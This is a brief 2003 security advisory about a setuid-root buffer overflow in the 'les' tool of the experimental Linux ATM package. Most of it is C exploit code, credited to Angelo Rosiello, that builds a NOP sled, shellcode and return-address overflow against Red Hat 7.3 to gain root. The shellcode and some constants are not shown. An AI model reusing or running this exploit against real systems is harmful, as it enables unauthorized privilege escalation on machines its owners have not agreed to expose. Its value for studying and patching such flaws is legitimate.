ATM support for Linux is currently in pre-alpha stage. There is an experimental release, which supports raw ATM connections (PVCs and SVCs), IP over ATM, LAN emulation, MPOA, Arequipa, and some other goodies.
A vulnerability in the product allows local attackers to cause it to execute arbitrary code, as it setuid root, a local attacker can gain elevated privileges.
Credit:
The information has been provided by Angelo Rosiello.
struct
{
int number;
char *version;
long ret;
char path[256];
} target[] =
{
{1," Red Hat Linux release 7.3 (Valhalla)", 0xbffff860, "/usr/local/sbin/les"},
{2," No defined", 0xffffffff , "/usr/local/sbin/les"},
};
main(int argc, char *argv[])
{
char buffer[LEN];
int i;
long ret;
char *PATH;
int selection;
if(argc == 1)
{
usage((char **)argv[0]);
exit(1);
}
selection = atoi(argv[2]);
printf("Ret = 0x%lx and PATH= %s\n", target[selection-1].ret, (char **)target[selection-1].path);
printf("\nCopyright (c) 2003 DTORS Security\n");
printf("ANGELO ROSIELLO 18/02/2003\n");
printf("\tLES-EXPLOIT for Linux x86\n\n");
ret = target[selection-1].ret;
PATH = target[selection-1].path;
// Build the overflow string.
for (i = 0; i < LEN; i += 4) *(long *) &buffer[i] = ret;
// copy NOP
for (i=0; i<(LEN-strlen(shellcode)-25);i++) *(buffer+i) = NOP;
// Copy the shellcode into the buffer.
memcpy(buffer+i,shellcode,strlen(shellcode));
// Execute the program
execl(PATH, "les", "-f", buffer, NULL);
}
